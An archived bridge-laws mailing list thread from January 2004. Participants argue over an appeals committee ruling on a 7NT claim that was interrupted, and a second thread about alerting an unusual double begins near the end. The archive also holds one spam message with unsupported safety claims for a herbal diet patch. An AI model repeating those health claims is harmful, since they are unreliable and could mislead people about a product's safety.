http://www.tameware.com From john@asimere.com Sun Jan 25 21:37:24 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 25 Jan 2004 21:37:24 +0000 Subject: [blml] NOT News In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes > > > > >During the South West Pacific Teams, I had dinner with >a non-claiming side who had a TD's ruling in their >favour overturned on appeal. They requested that I >submit the details to blml for comment. > >Best wishes > >Richard James Hills 13 tricks, wtp, john > >* * * > >NOT News, Thursday January 22 2004, page 6: > >FROM THE APPEALS ROOM >SWPT Convention Centre, Round 5 >Board 7, South deals, all vul > > K Q 9 8 > A 4 > K T 6 > A K 7 4 >7 5 3 J 6 4 >J T 8 5 2 Q 9 3 >9 8 4 J 7 2 >Q 3 9 8 5 2 > A T 2 > K 7 6 > A Q 5 3 > J T 6 -- John (MadDog) Probst| . ! -^- |icq 10810798 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From svenpran@online.no Sun Jan 25 22:32:22 2004 From: svenpran@online.no (Sven Pran) Date: Sun, 25 Jan 2004 23:32:22 +0100 Subject: [blml] NOT News In-Reply-To: Message-ID: <000001c3e393$1a0c0980$6900a8c0@WINXP> The AC stated as a fact that South was not allowed completing his claim statement and under such circumstances I consider their ruling obvious.=20 Otherwise I need to know exactly how the first five tricks were played. Regards Sven > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > richard.hills@immi.gov.au > Sent: 25. januar 2004 21:59 > To: blml@rtflb.org > Cc: judymott1@bigpond.com > Subject: Re: [blml] NOT News >=20 >=20 >=20 >=20 >=20 > During the South West Pacific Teams, I had dinner with > a non-claiming side who had a TD's ruling in their > favour overturned on appeal. They requested that I > submit the details to blml for comment. >=20 > Best wishes >=20 > Richard James Hills >=20 > * * * >=20 > NOT News, Thursday January 22 2004, page 6: >=20 > FROM THE APPEALS ROOM > SWPT Convention Centre, Round 5 > Board 7, South deals, all vul >=20 > K Q 9 8 > A 4 > K T 6 > A K 7 4 > 7 5 3 J 6 4 > J T 8 5 2 Q 9 3 > 9 8 4 J 7 2 > Q 3 9 8 5 2 > A T 2 > K 7 6 > A Q 5 3 > J T 6 >=20 > West North East South > - - - 1D > Pass 1S Pass 1NT > Pass 4NT Pass 5H > Pass 5NT Pass 6D > Pass 7NT Pass Pass > Pass >=20 > Table result: Claim after five tricks for 13 > tricks, 2220 >=20 > Datum: +1340 NS >=20 > Adjustment: 12 tricks, -100 NS >=20 > The Director, Simon Edler, was > called to the table by East after > declarer stated "I've got the > clubs" as he faced his hand. > South maintained that East's > objection had stopped him midsentence > as he was about to > state his line of play, saying he > was going to say "I've got the > clubs, so I'll cash the spades, > throwing H7 if they break, cash > HK, D5, throwing C4, then the two best > clubs for the remaining eight tricks. >=20 > EW maintained that South had initially > said "the clubs are good", not "I've got > the clubs". >=20 > The Director ruled that declarer loses one > trick either because spades were not > originally mentioned (Law 70D) or that > even though he realizes the third club is > not good and therefore requires four spade > tricks, there is an option of either > playing for the drop or finessing against > jack-to-four in an opponent's hand - this > latter line is not allowed under Law 70E. >=20 > The Committee's Ruling: >=20 > The Committee is unanimous that the claimant > was not allowed to complete the > clarification of his claim prior to the > Director being called. >=20 > Further that his subsequent statement about > the spade suit was admissible as a > clarification of the original claim. >=20 > Further, the Committee believed that if EW > had allowed the claimant to make a fuller > statement at the time, this may have > resulted in a different result. >=20 > Committee Personnel: >=20 > Ivy Dahler (Chairman), Ted Chadwick, Peter > Fordham, Phil Gue, Terry Brown > = -------------------------------------------------------------------------= - > ------------ > Important Warning: If you have received this email in error, please > advise the sender and delete the message and attachments immediately. > =A0This > email, including attachments, may contain confidential, legally = privileged > and/or copyright information, the unauthorised use of which is = prohibited. > Any views expressed in this email are those of the individual sender, > except where the sender expressly, and with authority, states them to = be > the view of the Department of Immigration and Multicultural and = Indigenous > Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations = under > the > Privacy Act 1988 (see www.immi.gov.au). > = -------------------------------------------------------------------------= - > ------------ >=20 >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From ereppert@rochester.rr.com Sun Jan 25 23:58:24 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 25 Jan 2004 18:58:24 -0500 Subject: [blml] NOT News In-Reply-To: Message-ID: <5C9056F8-4F92-11D8-8FE9-0030656F6826@rochester.rr.com> On Sunday, Jan 25, 2004, at 15:59 US/Eastern, richard.hills@immi.gov.au wrote: > EW maintained that South had initially said "the clubs are good", not > "I've got > the clubs". Ya know, the law requires claimant to state his line of play [Law 68C]. Neither of these states a line of play. So the question seems to be whether *any* line of play stated after the TD arrives (a) is not embraced in the original clarification statement [Law 70D] or (b) *is* the original clarification statement [Law 70B1]. That said, it seems to me the committee got it right. Perhaps that's because I've had my line of play statement interrupted so many times that now I just immediately call the TD myself when someone does that, and inform him of the interruption. From blml@blakjak.com Mon Jan 26 03:03:38 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 26 Jan 2004 03:03:38 +0000 Subject: [blml] NOT News In-Reply-To: <5C9056F8-4F92-11D8-8FE9-0030656F6826@rochester.rr.com> References: <5C9056F8-4F92-11D8-8FE9-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Sunday, Jan 25, 2004, at 15:59 US/Eastern, richard.hills@immi.gov.au >wrote: > >> EW maintained that South had initially said "the clubs are good", not >>"I've got >> the clubs". > >Ya know, the law requires claimant to state his line of play [Law 68C]. >Neither of these states a line of play. So the question seems to be >whether *any* line of play stated after the TD arrives (a) is not >embraced in the original clarification statement [Law 70D] or (b) *is* >the original clarification statement [Law 70B1]. > >That said, it seems to me the committee got it right. Perhaps that's >because I've had my line of play statement interrupted so many times >that now I just immediately call the TD myself when someone does that, >and inform him of the interruption. There have been a number of cases I have seen which have started with an attempt to claim and an interruption. I believe that when a player claims the fact that he is required to state a line of play implicitly means that the opponents are required ot allow this - and perhaps it might be explicit in the next Law book. In my view the balance of proof should shift when a player attempts to claim as per the Laws but is not permitted to. I agree the alleged comment here and the hand itself look strange, but all the defence had to do was to exhibit the normal politeness of letting declarer finish his claim and then challenging it. It is important that players are not given unfair advantages. To allow people to interrupt a claim and gain thereby is not fair, and must be actively discouraged. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Mon Jan 26 08:20:01 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 26 Jan 2004 09:20:01 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <4014CDB1.2080808@hdw.be> Yet again, a caase is presented to blml with too few elements, and what do we get: John (MadDog) Probst wrote: > > 13 tricks, wtp, john > while Adam Wildavsky wrote: > On the facts as presented I agree with the TD's ruling and I find the > AC's ruling baffling. > Indeed we need to know how the first five tricks went. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Mon Jan 26 09:06:35 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 26 Jan 2004 10:06:35 +0100 Subject: [blml] NOT News In-Reply-To: <000401c3e3e8$39c7a950$6900a8c0@WINXP> References: <000401c3e3e8$39c7a950$6900a8c0@WINXP> Message-ID: <4014D89B.8090102@hdw.be> Sven sent a remark to me, personally, so as not to clutter up the list. After writing a reply, I notice that I'm making points that may interest you all. So I have now deleted Sven's remark and am replying to the list again. So this may not thread correctly. I agree with Ed and David. If it is established that the player was interrupted, then he should be allowed to complete his statement. But unless we know how the play went, we have no idea as to the veracity of his statements as to how the claim statement would have been. Personally, I find the claim far too incomplete. I think the player miscounted his tricks and is using the fact that he was interrupted to get something back. I don't understand the line that he's trying to make the AC believe was his intention all along. It is not a single possible line - there are other ways of getting 4 spade and diamond tricks. I suspect he tried the club finesse, and when this worked, thought he had 4 tricks there. We are told he has played 5 tricks, so he should have tested one of the suits to find they are 3-3. That makes 4(Sp/Di) +2He +3(Di/Sp) +4Cl = 13, so he claims. Even if he notices the clubs don't make 4 tricks, there are two ways of making the thirteenth - a finesse to the missing jack. I guess the AC got the wool pulled over their eyes. Sven Pran wrote: [snipped - private] > This comment to you only, not clobbering up blml. > > Regards Sven > > >>-----Original Message----- >>From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of >>Herman De Wael >>Sent: 26. januar 2004 09:20 >>To: blml >>Subject: Re: [blml] NOT News >> >>Yet again, a caase is presented to blml with too few elements, and >>what do we get: >> >>John (MadDog) Probst wrote: >> >>>13 tricks, wtp, john >>> >> >>while >> >>Adam Wildavsky wrote: >> >> > On the facts as presented I agree with the TD's ruling and I find the >> > AC's ruling baffling. >> > >> >>Indeed we need to know how the first five tricks went. >> >>-- >>Herman DE WAEL >>Antwerpen Belgium >>http://www.hdw.be >> >> >>_______________________________________________ >>blml mailing list >>blml@rtflb.org >>http://www.amsterdamned.org/mailman/listinfo/blml > > > > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From brian66bustard@dbzmail.com Mon Jan 26 09:05:55 2004 From: brian66bustard@dbzmail.com (brian66bustard@dbzmail.com) Date: Mon, 26 Jan 2004 10:05:55 +0100 Subject: [blml] (*SPAM*) LOSE WEIGHT THE EASY WAY!!!!!!! Melvin Message-ID: fatpatch1
LOSE WEIGHT THE EASIER WAY
"ITS NOT A DIET.....ITS A PATCH"

Herbal-RX Diet Patch is a cutting-edge, advanced appetite suppressant, metabolism booster, and energy enhancer...all in one! With Herbal-RX Diet Patch, there are no more starvation diets and no difficult and dangerous exercises! It works all day & all night long!

The Herbal-RX Diet Patch is a 100% percent all natural product that produces no side effects or allergic reactions and is completely safe to use. The SFP is so easy to use just peel and stick then watch the pounds melt away.

READ MORE INFO HERE
 

no more emailz

caterlucky From ehaa@starpower.net Mon Jan 26 13:00:15 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 26 Jan 2004 08:00:15 -0500 Subject: [blml] NOT News In-Reply-To: Message-ID: <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> At 03:59 PM 1/25/04, richard.hills wrote: >During the South West Pacific Teams, I had dinner with >a non-claiming side who had a TD's ruling in their >favour overturned on appeal. They requested that I >submit the details to blml for comment. > >Table result: Claim after five tricks for 13 >tricks, 2220 > >Adjustment: 12 tricks, -100 NS > >The Director, Simon Edler, was >called to the table by East after >declarer stated "I've got the >clubs" as he faced his hand. >South maintained that East's >objection had stopped him midsentence >as he was about to >state his line of play, saying he >was going to say "I've got the >clubs, so I'll cash the spades, >throwing H7 if they break, cash >HK, D5, throwing C4, then the two best >clubs for the remaining eight tricks. > >EW maintained that South had initially >said "the clubs are good", not "I've got >the clubs". > >The Director ruled that declarer loses one >trick either because spades were not >originally mentioned (Law 70D) or that >even though he realizes the third club is >not good and therefore requires four spade >tricks, there is an option of either >playing for the drop or finessing against >jack-to-four in an opponent's hand - this >latter line is not allowed under Law 70E. > >The Committee's Ruling: > >The Committee is unanimous that the claimant >was not allowed to complete the >clarification of his claim prior to the >Director being called. > >Further that his subsequent statement about >the spade suit was admissible as a >clarification of the original claim. > >Further, the Committee believed that if EW >had allowed the claimant to make a fuller >statement at the time, this may have >resulted in a different result. I don't see any matter of either legal or bridge judgment here. This was purely a ruling on a point of fact. Once the committee decided that "the claimant was not allowed to complete the clarification of his claim prior to the Director being called" it had to overturn. Had it found oppositely, it would have ruled oppositely. What's left to be discussed? Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From gordon@gordonrainsford.co.uk Mon Jan 26 13:27:35 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 26 Jan 2004 13:27:35 +0000 Subject: [blml] NOT News In-Reply-To: <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> References: <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> Message-ID: <6763247D-5003-11D8-A78F-0003936A6522@gordonrainsford.co.uk> On 26 Jan 2004, at 13:00, Eric Landau wrote: > I don't see any matter of either legal or bridge judgment here. This > was purely a ruling on a point of fact. Once the committee decided > that "the claimant was not allowed to complete the clarification of > his claim prior to the Director being called" it had to overturn. Had > it found oppositely, it would have ruled oppositely. What's left to > be discussed? Are you really saying that any claim, however flawed, must be allowed if its statement of clarification has been interrupted by the opponents? -- Gordon Rainsford London UK From con.holzscherer@philips.com Mon Jan 26 13:34:08 2004 From: con.holzscherer@philips.com (con.holzscherer@philips.com) Date: Mon, 26 Jan 2004 14:34:08 +0100 Subject: [blml] NOT News Message-ID: Eric Landau wrote: > I don't see any matter of either legal or bridge judgment here. > This was purely a ruling on a point of fact. Once the committee > decided that "the claimant was not allowed to complete the > clarification of his claim prior to the Director being called" > it had to overturn. Had it found oppositely, it would have > ruled oppositely. What's left to be discussed? I think Eric (and he is not the only one) misses an essential point here. Let me explain what I consider the three essential points for deciding on a claim 'for all remaining tricks': 1. There is way of playing that 100% guarantees all remaining tricks 2. Declarer is aware of the way referred to in "1". 3. Declarer convinces the opponents (and/or the TD) that "2" is true by describing the way. The discussion on the declarer being prevented from "3" is relevant for "3" and also for "2", so declarer might be given the benefit of the doubt here. However, this is only sufficient for condoning the claim if "1" is true. And -- as I understood the story -- the TD decided that "1" did not apply and therefore did not accept the claim. I think that this is the crux of the case and therefore I am surprised that the AC seems not to have addressed this issue at all! Regards, Con Holzscherer Sent by: blml-admin@rtflb.org To: Bridge Laws Discussion List cc: (bcc: Con Holzscherer/EHV/SC/PHILIPS) Subject: Re: [blml] NOT News Classification: At 03:59 PM 1/25/04, richard.hills wrote: >During the South West Pacific Teams, I had dinner with >a non-claiming side who had a TD's ruling in their >favour overturned on appeal. They requested that I >submit the details to blml for comment. > >Table result: Claim after five tricks for 13 >tricks, 2220 > >Adjustment: 12 tricks, -100 NS > >The Director, Simon Edler, was >called to the table by East after >declarer stated "I've got the >clubs" as he faced his hand. >South maintained that East's >objection had stopped him midsentence >as he was about to >state his line of play, saying he >was going to say "I've got the >clubs, so I'll cash the spades, >throwing H7 if they break, cash >HK, D5, throwing C4, then the two best >clubs for the remaining eight tricks. > >EW maintained that South had initially >said "the clubs are good", not "I've got >the clubs". > >The Director ruled that declarer loses one >trick either because spades were not >originally mentioned (Law 70D) or that >even though he realizes the third club is >not good and therefore requires four spade >tricks, there is an option of either >playing for the drop or finessing against >jack-to-four in an opponent's hand - this >latter line is not allowed under Law 70E. > >The Committee's Ruling: > >The Committee is unanimous that the claimant >was not allowed to complete the >clarification of his claim prior to the >Director being called. > >Further that his subsequent statement about >the spade suit was admissible as a >clarification of the original claim. > >Further, the Committee believed that if EW >had allowed the claimant to make a fuller >statement at the time, this may have >resulted in a different result. I don't see any matter of either legal or bridge judgment here. This was purely a ruling on a point of fact. Once the committee decided that "the claimant was not allowed to complete the clarification of his claim prior to the Director being called" it had to overturn. Had it found oppositely, it would have ruled oppositely. What's left to be discussed? Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From hermandw@hdw.be Mon Jan 26 14:22:30 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 26 Jan 2004 15:22:30 +0100 Subject: [blml] NOT News In-Reply-To: <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> References: <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> Message-ID: <401522A6.2030200@hdw.be> Eric Landau wrote: > > I don't see any matter of either legal or bridge judgment here. This > was purely a ruling on a point of fact. Once the committee decided that > "the claimant was not allowed to complete the clarification of his claim > prior to the Director being called" it had to overturn. Had it found > oppositely, it would have ruled oppositely. What's left to be discussed? > Whether or not the now completed claim statement made sense? To my ears, it doesn't. > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From ehaa@starpower.net Mon Jan 26 14:21:43 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 26 Jan 2004 09:21:43 -0500 Subject: [blml] NOT News In-Reply-To: <6763247D-5003-11D8-A78F-0003936A6522@gordonrainsford.co.uk > References: <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> Message-ID: <5.2.0.9.0.20040126090121.0216c0e0@pop.starpower.net> At 08:27 AM 1/26/04, Gordon wrote: >On 26 Jan 2004, at 13:00, Eric Landau wrote: > >>I don't see any matter of either legal or bridge judgment here. This >>was purely a ruling on a point of fact. Once the committee decided >>that "the claimant was not allowed to complete the clarification of >>his claim prior to the Director being called" it had to >>overturn. Had it found oppositely, it would have ruled >>oppositely. What's left to be discussed? > >Are you really saying that any claim, however flawed, must be allowed >if its statement of clarification has been interrupted by the opponents? No. I am saying that if a claimer's statement is interrupted by the opponents, the TD/AC must give him the opportunity to make a complete statement, and must judge the merits of his claim based on the latter statement rather than the interrupted one. Of course, it is the TD who really should do this, at the table at the time of the original TD call. But if he doesn't, the AC must, notwithstanding the possibility that the claimer's statement to the AC may have been "refined" somewhat from what he originally intended to say; it is the claimer's opponents who must bear that risk. We cannot permit it to be the case that a player may gain an advantage by interrupting an opponent's claim statement. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From twm@cix.co.uk Mon Jan 26 15:07:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Mon, 26 Jan 2004 15:07 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: <4014CDB1.2080808@hdw.be> Message-ID: Herman wrote: > Yet again, a caase is presented to blml with too few elements, and > what do we get: The original post stated "The Committee is unanimous that the claimant was not allowed to complete the clarification of his claim prior to the Director being called." What more do we need? If we accept that declarer was interrupted then we uphold his claim (we can't allow a side to benefit from interrupting a valid claim statement). If we don't accept this (despite the universal acceptance of the committee) then we rule against his claim however the play to the first 5 tricks went (we can't allow a player to benefit from pretending his claim statement was interrupted). NB. It is obvious that after 5 tricks there exist both lines to make the contract and lines to go off. Note that it is wholly unnecessary, in law, that a claim statement caters to all possible distributions. It is only necessary that the (complete) statement caters to the actual distribution. Non-claimers should wait until the statement is complete before objecting. wtp? Tim From gordon@gordonrainsford.co.uk Mon Jan 26 15:13:12 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 26 Jan 2004 15:13:12 +0000 Subject: [blml] NOT News In-Reply-To: <5.2.0.9.0.20040126090121.0216c0e0@pop.starpower.net> References: <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> <5.2.0.9.0.20040126090121.0216c0e0@pop.starpower.net> Message-ID: <2856D1A4-5012-11D8-A78F-0003936A6522@gordonrainsford.co.uk> On 26 Jan 2004, at 14:21, Eric Landau wrote: > At 08:27 AM 1/26/04, Gordon wrote: > >> On 26 Jan 2004, at 13:00, Eric Landau wrote: >> >>> I don't see any matter of either legal or bridge judgment here. >>> This was purely a ruling on a point of fact. Once the committee >>> decided that "the claimant was not allowed to complete the >>> clarification of his claim prior to the Director being called" it >>> had to overturn. Had it found oppositely, it would have ruled >>> oppositely. What's left to be discussed? >> >> Are you really saying that any claim, however flawed, must be allowed >> if its statement of clarification has been interrupted by the >> opponents? > > No. I am saying that if a claimer's statement is interrupted by the > opponents, the TD/AC must give him the opportunity to make a complete > statement, and must judge the merits of his claim based on the latter > statement rather than the interrupted one. Indeed. It's that latter part that you appeared to miss out in your original contribution. There's more to be discussed than whether "the claimant was not allowed to complete the clarification of his claim prior to the Director being called" - namely whether the claim he might have been intending to make holds water. > Of course, it is the TD who really should do this, at the table at the > time of the original TD call. But if he doesn't, the AC must, > notwithstanding the possibility that the claimer's statement to the AC > may have been "refined" somewhat from what he originally intended to > say; it is the claimer's opponents who must bear that risk. We cannot > permit it to be the case that a player may gain an advantage by > interrupting an opponent's claim statement. Quite. Nor can we accept without question a claim simply because it was interrupted. So in the given case, we have to consider the claim which was attempting to be given, and see whether it stands up. I think it's far from obvious that it does. -- Gordon Rainsford London UK From svenpran@online.no Mon Jan 26 15:28:51 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 26 Jan 2004 16:28:51 +0100 Subject: [blml] NOT News In-Reply-To: <2856D1A4-5012-11D8-A78F-0003936A6522@gordonrainsford.co.uk> Message-ID: <000401c3e421$1a16ee70$6900a8c0@WINXP> > Gordon Rainsford ........ > > Of course, it is the TD who really should do this, at the table at = the > > time of the original TD call. But if he doesn't, the AC must, > > notwithstanding the possibility that the claimer's statement to the = AC > > may have been "refined" somewhat from what he originally intended to > > say; it is the claimer's opponents who must bear that risk. We = cannot > > permit it to be the case that a player may gain an advantage by > > interrupting an opponent's claim statement. >=20 > Quite. Nor can we accept without question a claim simply because it = was > interrupted. So in the given case, we have to consider the claim which > was attempting to be given, and see whether it stands up. I think it's > far from obvious that it does. I have a problem with this statement of yours. We have not been told the first five tricks. How do you know that West = did not lead the QC and that the declarer next tried his three top honors in either spades or diamonds? Wouldn't "I have the clubs" now be a = reasonable opening clause in his claim statement? Until we know these first five tricks none of us is in any position to discuss the ruling made by the AC. And once we are told the first five tricks leading up to the claim we = are in a much better position to evaluate that, the claim statement being interrupted or not. Sven From hermandw@hdw.be Mon Jan 26 15:51:25 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 26 Jan 2004 16:51:25 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <4015377D.4000308@hdw.be> Tim West-Meads wrote: > Herman wrote: > > >>Yet again, a caase is presented to blml with too few elements, and >>what do we get: > > > The original post stated > "The Committee is unanimous that the claimant > was not allowed to complete the > clarification of his claim prior to the > Director being called." > Well, that to me is not enough. > What more do we need? If we accept that declarer was interrupted then we > uphold his claim (we can't allow a side to benefit from interrupting a > valid claim statement). No, sorry Tim. If we accept that declarer was interrupted then we allow him to complete his statement, forgetting all usual inference from late claim statements. Then we judge his claim on its own merits, including that completed statement. > If we don't accept this (despite the universal > acceptance of the committee) then we rule against his claim however the > play to the first 5 tricks went (we can't allow a player to benefit from > pretending his claim statement was interrupted). > No we don't do that either. We may well rule that even without a claim statement the claim is sufficiently clear to be allowed. So you have yet again confounded the particularity of a case with a general principle. > NB. It is obvious that after 5 tricks there exist both lines to make the > contract and lines to go off. Note that it is wholly unnecessary, in law, > that a claim statement caters to all possible distributions. It is only > necessary that the (complete) statement caters to the actual distribution. > Non-claimers should wait until the statement is complete before objecting. > I would agree with you there, except for the fact that it is totally irrational to claim at trick six, referring to a spade suit that one knows nothing about as producing 3 or 4 tricks. Even after granting this player all lee-way concerning his interrupted claim statement, this claim is faulty. It would be something else if the man were claiming 6NT, stating that he would make 12 tricks and an overtrick if spades are 3-3. That action is sensible. But claiming 13 tricks at this stage is lunacy and can only be explained by him thinking the play was over after the succesfull club finesse. > wtp? > see above. Please Tim, for once, look at the case again, and don't start defending your previous mail. > Tim > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From gordon@gordonrainsford.co.uk Mon Jan 26 15:54:24 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 26 Jan 2004 15:54:24 +0000 Subject: [blml] NOT News In-Reply-To: <000401c3e421$1a16ee70$6900a8c0@WINXP> References: <000401c3e421$1a16ee70$6900a8c0@WINXP> Message-ID: On 26 Jan 2004, at 15:28, Sven Pran wrote: >> Gordon Rainsford > ........ >>> Of course, it is the TD who really should do this, at the table at >>> the >>> time of the original TD call. But if he doesn't, the AC must, >>> notwithstanding the possibility that the claimer's statement to the >>> AC >>> may have been "refined" somewhat from what he originally intended to >>> say; it is the claimer's opponents who must bear that risk. We >>> cannot >>> permit it to be the case that a player may gain an advantage by >>> interrupting an opponent's claim statement. >> >> Quite. Nor can we accept without question a claim simply because it >> was >> interrupted. So in the given case, we have to consider the claim which >> was attempting to be given, and see whether it stands up. I think it's >> far from obvious that it does. > > I have a problem with this statement of yours. > > We have not been told the first five tricks. How do you know that West > did > not lead the QC and that the declarer next tried his three top honors > in > either spades or diamonds? Wouldn't "I have the clubs" now be a > reasonable > opening clause in his claim statement? > > Until we know these first five tricks none of us is in any position to > discuss the ruling made by the AC. I don't think I have really. I was commenting on Eric's statement about the methodology that should be used. That's why I wrote " ...see whether it stands up. I think it's far from obvious that it does" rather than "I think it doesn't". Maybe I should have said "I think it's far from obvious that it does, on the information we've been given." And once we are told the first five tricks leading up to the claim we are in > a much better position to evaluate that, the claim statement being > interrupted or not. Yes. -- Gordon Rainsford London UK From nigel.guthrie@ntlworld.com Mon Jan 26 16:11:29 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 26 Jan 2004 16:11:29 -0000 Subject: [blml] NOT News References: Message-ID: <002d01c3e427$1d863ce0$f19468d5@tinyhrieuyik> [Richard James Hills] The Director, Simon Edler, was called to the table by East after declarer stated "I've got the clubs" as he faced his hand. [Nigel] Sorry, the AC and I got this wrong. The TD got it right. The claimer's statement is equivalent to "I have all the club tricks." Unless the claimer is a neophyte, that is what he meant because otherwise his claim is premature. He would have to play of some other cards, to decide whether to finesse S9 or play for a squeeze. IMO the "interruption" had no effect on the meaning of the initial sentence. The claimer's later explanation rules out continuations like "I've got the clubs to fall back on if all else fails" --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 From Frances.Hinden@Shell.com Mon Jan 26 17:09:48 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Mon, 26 Jan 2004 17:09:48 -0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> I came across an exiting new agreement yesterday, playing in a knock-out = match (Crockfords Cup) against a pair of English experts. DISCLAIMER: = My opponents did absolutely nothing wrong & I have no criticism of any = of their actions. The auction proceded as follows: me lho partner rho 1H P 2D(1) P 2S(2) P 2NT P 3H P 4C(3) x(4) ... (1) English style, forcing only to 2H (2) Natural reverse values, FG (3) Strong 4H bid, not necessarily a club control (4) Alerted & described as asking for NOT a club lead.=20 Our agreement over a lead-directing double is that redouble shows first = round control, pass is neutral, sign-off weak. Had we known about this = agreement in advance, we would have agreed to play redouble for blood, = pass as a contract suggestion (4C was making at least 10 tricks on this = hand and with that agreement we would have played there). In other = auctions, say if 4th suit forcing is doubled, we would play redouble as = showing Axx or Kxx - say a suit which could be led _through_. If the = honour strength is in the other hand, we could play redouble as showing = solid stop(s) and 2/3NT as a positional card. But we would want to have = discussed this. Maybe I'm just ignorant, but I'd never heard of playing = anti-lead-directional doubles on this sort of auction. Their card said = 'non-lead-directional doubles' but I assumed that applied to the more = normal circumstance where you double a cue bid of a suit your side has = bid. =20 What's my point? Unusual agreements like this are not conspiciously = shown on the card, are not subject to pre-alerts (in the US), and could = be a big suprise to oppo. Yet I know of no set of alerting/cc = regulations where this will spring to your attention on a quick read = through.=20 As I understand the ACBL regs, this double would not even be alerted = until the opening lead was faced (but I've only read them once, I may be = wrong). This would make slam bidding a bit of a lottery... you = 'right-side' your Kx only to find you've wrong-sided it! Then either = the TD says "you're a good player, you should have protected yourself by = asking about the double, score stands" or the AC give me my contract = back... but I don't like getting my good boards back from the committee, = I want to get them at the table. Frances Hinden Strategic Planning Shell International Ltd. Shell Centre, London, SE1 7NA, UK Tel: +44 (0) 20 7934 2529 Fax: 6982 Mobile: +44 (0) 7899 065392 Email: Frances.Hinden@shell.com=20 Internet:http://www.shell.com/ This email may contain confidential and/or privileged information which = should not be used, copied or disclosed without permission. If you are = not an intended recipient, please contact the sender immediately. From ereppert@rochester.rr.com Mon Jan 26 17:28:22 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 26 Jan 2004 12:28:22 -0500 Subject: [blml] NOT News In-Reply-To: <4015377D.4000308@hdw.be> Message-ID: <0A45E850-5025-11D8-B463-0030656F6826@rochester.rr.com> On Monday, Jan 26, 2004, at 10:51 US/Eastern, Herman De Wael wrote: > I would agree with you there, except for the fact that it is totally=20= > irrational to claim at trick six, referring to a spade suit that one=20= > knows nothing about as producing 3 or 4 tricks. That spade suit *will* produce three tricks. It might produce four. Here's the claim statement declarer said he had intended to make: >> "I've got the clubs, so I'll cash the spades, throwing H7 if they=20 >> break, cash >> HK, D5, throwing C4, then the two best clubs for the remaining eight=20= >> tricks." Given the lie of the cards, and the stated line of play, declarer=20 *certainly* has 4 spades, 4 diamonds, and 2 hearts. So he needs 3=20 tricks from clubs. He says he has "the two best clubs", so either the=20 CQ has already fallen, he has taken a successful finesse, or=85 The only=20= way I can see that there would be a problem here is if, for his fifth=20 trick, declarer led CJ or CT from his hand, West ducked, and declarer=20 overtook in dummy. In that case, I suppose it's just barely possibly=20 that he'll lead the CT or CJ on trick 12, covered, overtaking in dummy,=20= which now must lead C7. If that's what happened, I suppose I have to=20 agree with the TD. If not, then I agree with the committee.= From grabiner@alumni.princeton.edu Mon Jan 26 17:29:53 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Mon, 26 Jan 2004 12:29:53 -0500 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe. shell.com> Message-ID: <5.1.1.6.0.20040126122733.01a18670@mail.vzavenue.net> At 12:09 PM 1/26/2004, Hinden, Frances SI-PXS wrote: >The auction proceded as follows: > >me lho partner rho >1H 